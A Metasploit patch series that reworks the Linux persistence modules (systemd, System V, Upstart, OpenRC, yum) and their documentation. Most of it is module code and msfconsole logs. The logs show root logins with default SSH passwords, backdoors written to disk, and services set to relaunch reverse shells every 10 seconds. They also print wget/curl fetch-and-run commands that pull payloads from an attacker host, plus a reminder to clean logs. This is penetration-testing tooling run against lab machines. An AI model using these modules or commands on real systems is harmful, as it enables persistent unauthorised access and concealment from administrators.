to gain easy initial access - -Get initial access - - msf auxiliary(ssh_login) > exploit - - [*] 10.10.60.175:22 SSH - Starting bruteforce - [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' - [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (Upstart) - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(service_persistence) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Writing backdoor to /usr/local/bin/bmmjv - [*] Max line length is 65537 - [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf - [*] Utilizing Upstart - [*] Writing /etc/init/Hipnufl.conf - [*] Max line length is 65537 - [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf - [*] Starting service - [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log - [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 - -And now, we can kill the callback shell from our previous session - - ^Z - Background session 5? [y/N] y - msf exploit(service_persistence) > sessions -i 1 - [*] Starting interaction with 1... - - netstat -antp | grep 4444 - tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash - tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python - kill 1783 - [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError - kill 1789 - -Now with a multi handler, we can catch Upstart restarting the process every 10sec - - msf > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(handler) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(handler) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 - - -### systemd (Ubuntu 16.04 Server - root) -Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. -While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. - -Get initial access - - msf exploit(handler) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /usr/local/bin/JSRCF - [*] Max line length is 65537 - [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf - [*] Utilizing systemd - [*] /lib/systemd/system/YelHpCx.service - [*] Max line length is 65537 - [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf - [*] Enabling service - [*] Starting service - [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 - - ^Z - Background session 7? [y/N] y - -Kill the process on the Ubuntu target box via local access #good_admin - - root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 - tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc - root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 - -And logically, we lose our shell - - [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError - -Now with a multi handler, we can catch systemd restarting the process every 10sec - - - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > show options - - Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.199.128 yes The listen address - LPORT 4444 yes The listen port - - Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 - -### systemd user (Ubuntu 16.04 Server - vagrant) - - msf5 exploit(linux/local/service_persistence) > options - - Module options (exploit/linux/local/service_persistence): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BACKDOOR_PATH /tmp yes Writable path to put our shell - SERVICE no Name of service to create - SESSION yes The session to run this module on - SHELL_NAME no Name of shell file to write - - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 172.28.128.1 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - - Exploit target: - - Id Name - -- ---- - 4 systemd user - - - msf5 exploit(linux/local/service_persistence) > run - - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.28.128.1:4444 - [*] Writing backdoor to /tmp/PPpCF - [*] Max line length is 65537 - [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf - [*] Creating user service directory - [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service - [*] Max line length is 65537 - [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf - [*] Reloading manager configuration - [*] Enabling service - [*] Starting service: OzzdRBC - [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 - - id - uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) - uname -a - Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/persistence/sysvinit.md b/documentation/modules/exploit/linux/persistence/sysvinit.md deleted file mode 100644 index 46d920043406..000000000000 --- a/documentation/modules/exploit/linux/persistence/sysvinit.md +++ /dev/null @@ -1,305 +0,0 @@ -### Creating A Testing Environment - - This module has been tested against: - -1. Kali 2.0 (System V) -2. Ubuntu 14.04 (Upstart) -3. Ubuntu 16.04 (systemd) -4. Ubuntu 16.04 (systemd user) -5. Centos 5 (System V) -6. Fedora 18 (systemd) -7. Fedora 20 (systemd) - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/linux/local/service_persistence` - 4. Do: `set session #` - 5. Do: `set verbose true` - 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. - 8. Do: `set lhost` - 9. Do: `exploit` - 10. Do: `use exploit/multi/handler` - 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 12. Do: `set lhost` - 13. Do: `exploit -j` - 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec - 15. Get Shell - -## Options - -**target** - - There are several targets selectable, which all have their own issues. - -0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries -1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err -2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. -3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. - -**BACKDOOR_PATH** - - If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin - -**SERVICE** - - The name of the service to create. If not chosen, a 7 character random one is created. - -**SHELL_NAME** - - The name of the file to write with our shell. If not chosen, a 5 character random one is created. - -## Scenarios - -### System V (Centos 5 - root - chkconfig) - -Get initial access - - msf > use auxiliary/scanner/ssh/ssh_login - msf auxiliary(ssh_login) > set rhosts 192.168.199.131 - rhosts => 192.168.199.131 - msf auxiliary(ssh_login) > set username root - username => root - msf auxiliary(ssh_login) > set password centos - password => centos - msf auxiliary(ssh_login) > exploit - - [*] 192.168.199.131:22 SSH - Starting bruteforce - [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' - [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set BACKDOOR_PATH /bin - BACKDOOR_PATH => /bin - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /bin/GUIJc - [*] Max line length is 65537 - [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf - [*] Utilizing System_V - [*] Utilizing chkconfig - [*] Writing service: /etc/init.d/HqdezBF - [*] Max line length is 65537 - [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf - [*] Enabling & starting our service - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 - -Reboot the box to prove persistence - - reboot - ^Z - Background session 2? [y/N] y - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(handler) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 - - -### Upstart (Ubuntu 14.04.4 Server - root) -Of note, I allowed Root login via SSH w/ password only to gain easy initial access - -Get initial access - - msf auxiliary(ssh_login) > exploit - - [*] 10.10.60.175:22 SSH - Starting bruteforce - [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' - [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (Upstart) - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(service_persistence) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Writing backdoor to /usr/local/bin/bmmjv - [*] Max line length is 65537 - [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf - [*] Utilizing Upstart - [*] Writing /etc/init/Hipnufl.conf - [*] Max line length is 65537 - [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf - [*] Starting service - [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log - [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 - -And now, we can kill the callback shell from our previous session - - ^Z - Background session 5? [y/N] y - msf exploit(service_persistence) > sessions -i 1 - [*] Starting interaction with 1... - - netstat -antp | grep 4444 - tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash - tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python - kill 1783 - [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError - kill 1789 - -Now with a multi handler, we can catch Upstart restarting the process every 10sec - - msf > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_python - payload => cmd/unix/reverse_python - msf exploit(handler) > set lhost 10.10.60.168 - lhost => 10.10.60.168 - msf exploit(handler) > exploit - - [*] Started reverse handler on 10.10.60.168:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 - - -### systemd (Ubuntu 16.04 Server - root) -Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. -While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. - -Get initial access - - msf exploit(handler) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /usr/local/bin/JSRCF - [*] Max line length is 65537 - [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf - [*] Utilizing systemd - [*] /lib/systemd/system/YelHpCx.service - [*] Max line length is 65537 - [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf - [*] Enabling service - [*] Starting service - [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 - - ^Z - Background session 7? [y/N] y - -Kill the process on the Ubuntu target box via local access #good_admin - - root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 - tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc - root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 - -And logically, we lose our shell - - [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError - -Now with a multi handler, we can catch systemd restarting the process every 10sec - - - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > show options - - Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.199.128 yes The listen address - LPORT 4444 yes The listen port - - Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 - -### systemd user (Ubuntu 16.04 Server - vagrant) - - msf5 exploit(linux/local/service_persistence) > options - - Module options (exploit/linux/local/service_persistence): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - BACKDOOR_PATH /tmp yes Writable path to put our shell - SERVICE no Name of service to create - SESSION yes The session to run this module on - SHELL_NAME no Name of shell file to write - - - Payload options (cmd/unix/reverse_netcat): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 172.28.128.1 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - - Exploit target: - - Id Name - -- ---- - 4 systemd user - - - msf5 exploit(linux/local/service_persistence) > run - - [!] SESSION may not be compatible with this module. - [*] Started reverse TCP handler on 172.28.128.1:4444 - [*] Writing backdoor to /tmp/PPpCF - [*] Max line length is 65537 - [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf - [*] Creating user service directory - [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service - [*] Max line length is 65537 - [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf - [*] Reloading manager configuration - [*] Enabling service - [*] Starting service: OzzdRBC - [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 - - id - uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) - uname -a - Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index 019859c76e79..ea4b0ca5a8e4 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -84,7 +84,7 @@ def check return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc') - CheckCode::Appears("#{datastore['WritableDir']} is writable and openrc based") + CheckCode::Appears("#{datastore['WritableDir']} is writable and system is openrc based") end def install_persistence diff --git a/modules/exploits/linux/persistence/init_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb index 11e110d0ab7e..0a0a70299139 100644 --- a/modules/exploits/linux/persistence/init_systemd.rb +++ b/modules/exploits/linux/persistence/init_systemd.rb @@ -9,6 +9,8 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Post::Linux::User # get_home_dir include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated @@ -31,50 +33,45 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', - 'Cale Black' # systemd user target + 'Cale Black' # user target ], 'Platform' => ['unix', 'linux'], + 'Privileged' => true, 'Targets' => [ - [ - 'systemd', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], - [ - 'systemd user', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/tmp' } - } - ] + ['systemd', {}], + ['systemd user', {}] ], 'DefaultTarget' => 0, - 'Arch' => ARCH_CMD, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], ['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'], ['URL', 'https://attack.mitre.org/techniques/T1543/'] ], - 'Payload' => { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down - } - }, 'SessionTypes' => ['shell', 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, - 'DisclosureDate' => '1983-01-01' # system v release date + 'DisclosureDate' => '2010-03-30' # systemd release date ) ) register_options( [ - # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), - OptString.new('SERVICE', [false, 'Name of service to create']) + OptString.new('SERVICE', [false, 'Name of service to create']), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), ] ) register_advanced_options( @@ -82,19 +79,27 @@ def initialize(info = {}) OptBool.new('EnableService', [true, 'Enable the service', true]) ] ) - deregister_options('WritableDir') end def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root? return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir']) return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl') - - CheckCode::Appears("#{datastore['WritableDir']} is writable and systemd based") + + CheckCode::Appears("#{datastore['WritableDir']} is writable and system is systemd based") + end + + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + whoami end def install_persistence - write_shell(datastore['WritableDir']) + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + backdoor = write_shell(datastore['WritableDir']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] @@ -107,31 +112,45 @@ def install_persistence end def write_shell(path) - file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) + file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") - write_file(backdoor, payload.encoded) + if payload.arch.first == 'cmd' + write_file(backdoor, payload.encoded) + chmod(backdoor, 0o755) + else + upload_and_chmodx backdoor, generate_payload_exe + end @clean_up_rc << "rm #{backdoor}\n" - if file_exist?(backdoor) - cmd_exec("chmod 711 #{backdoor}") - return backdoor - end - fail_with(Failure::NoAccess, 'File not written, check permissions.') + fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) + + backdoor + end + + def service_file(exec, target = 'multi-user.target') + <<~EOF + [Unit] + Description=Start daemon at boot time + After= + Requires= + [Service] + RestartSec=10s + Restart=always + TimeoutStartSec=5 + RemainAfterExit=yes + ExecStart=#{exec} + [Install] + WantedBy=#{target} + EOF end def systemd(backdoor_path, backdoor_file) - script = %([Unit] -Description=Start daemon at boot time -After= -Requires= -[Service] -RestartSec=10s -Restart=always -TimeoutStartSec=5 -ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} -[Install] -WantedBy=multi-user.target) + if payload.arch.first == 'cmd' + script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}") + else + script = service_file("#{backdoor_path}/#{backdoor_file}") + end service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) service_name = "/lib/systemd/system/#{service_filename}.service" @@ -151,23 +170,15 @@ def systemd(backdoor_path, backdoor_file) end def systemd_user(backdoor_path, backdoor_file) - script = <<~EOF - [Unit] - Description=Start daemon at boot time - After= - Requires= - [Service] - RemainAfterExit=yes - RestartSec=10s - Restart=always - TimeoutStartSec=5 - ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} - [Install] - WantedBy=default.target - EOF + if payload.arch.first == 'cmd' + script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target') + else + script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target') + end service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) - home = cmd_exec('echo ${HOME}') + user = target_user + home = get_home_dir(user) vprint_status('Creating user service directory') cmd_exec("mkdir -p #{home}/.config/systemd/user") diff --git a/modules/exploits/linux/persistence/init_sysvinit.rb b/modules/exploits/linux/persistence/init_sysvinit.rb index 8892979f2a8e..a4f859cc69d5 100644 --- a/modules/exploits/linux/persistence/init_sysvinit.rb +++ b/modules/exploits/linux/persistence/init_sysvinit.rb @@ -86,7 +86,7 @@ def check has_updatercd = command_exists?('update-rc.d') if has_updatercd || command_exists?('chkconfig') # centos 5 - return CheckCode::Appears("#{datastore['WritableDir']} is writable and System V based") + return CheckCode::Appears("#{datastore['WritableDir']} is writable and system is System V based") end CheckCode::Safe('Likely not a System V based system') diff --git a/modules/exploits/linux/persistence/init_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb index 6e84bffb261b..9d5bf96af5d5 100644 --- a/modules/exploits/linux/persistence/init_upstart.rb +++ b/modules/exploits/linux/persistence/init_upstart.rb @@ -82,7 +82,7 @@ def check return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) if command_exists?('initctl') - return CheckCode::Appears("#{datastore['WritableDir']} is writable and upstart based") + return CheckCode::Appears("#{datastore['WritableDir']} is writable and system is upstart based") end CheckCode::Safe('Likely not an upstart based system') diff --git a/modules/exploits/linux/persistence/yum_package_manager.rb b/modules/exploits/linux/persistence/yum_package_manager.rb index e7c6d7f9b800..f385c6404fef 100644 --- a/modules/exploits/linux/persistence/yum_package_manager.rb +++ b/modules/exploits/linux/persistence/yum_package_manager.rb @@ -48,6 +48,7 @@ def initialize(info = {}) 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, + 'Privileged' => true, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], From e600c2066d7d2cf938524abeebab6ee7379df619 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 12 Feb 2025 17:01:06 -0500 Subject: [PATCH 93/94] systemd persistence --- .../exploit/linux/persistence/init_systemd.md | 209 ++++++++++++++++++ .../linux/persistence/init_systemd.rb | 12 +- 2 files changed, 214 insertions(+), 7 deletions(-) create mode 100644 documentation/modules/exploit/linux/persistence/init_systemd.md diff --git a/documentation/modules/exploit/linux/persistence/init_systemd.md b/documentation/modules/exploit/linux/persistence/init_systemd.md new file mode 100644 index 000000000000..b365c1a03f1c --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_systemd.md @@ -0,0 +1,209 @@ +## Vulnerable Application + +This module will create a service on the box, and mark it for auto-restart. +We need enough access to write service files and potentially restart services +systemd should be available on the following systems: +* CentOS 7 +* Debian >= 7, <=8 +* Fedora >= 15 +* Ubuntu >= 15.04 + +Verified on Ubuntu 18.04.3 + +## Verification Steps + +1. Exploit a box +2. `use exploit/linux/persistence/init_systemd ` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` + +## Options + +**SERVICE** + +The name of the service to create. If not chosen, a random one is created. + +**PAYLOAD_NAME** + +The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. + +**Target: systemd** + +Requires `root` permission, or equivalent. Installs the service into `/lib/systemd/system/#{service_filename}.service` + +**Target: systemd user** + +Requires user level permission. Installs the service into `#{home}/.config/systemd/user/#{service_filename}.service` + +## Scenarios + +### Ubuntu 18.04 + +#### user + +Initial access vector via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO A0IMfkxw --no-check-certificate http://111.111.1.111:8181/l; chmod +x A0IMfkxw; ./A0IMfkxw& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35670) at 2025-02-12 16:51:31 -0500 +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set target 1 +target => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit +[*] Command to run on remote host: curl -so ./AfUflryvMrcV http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./AfUflryvMrcV;./AfUflryvMrcV& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[*] Writing backdoor to /tmp//wiyCnjJRK +[*] Creating user service directory +[*] Writing service: /home/ubuntu/.config/systemd/user/hakiMwGMnXA.service +[*] Reloading manager configuration 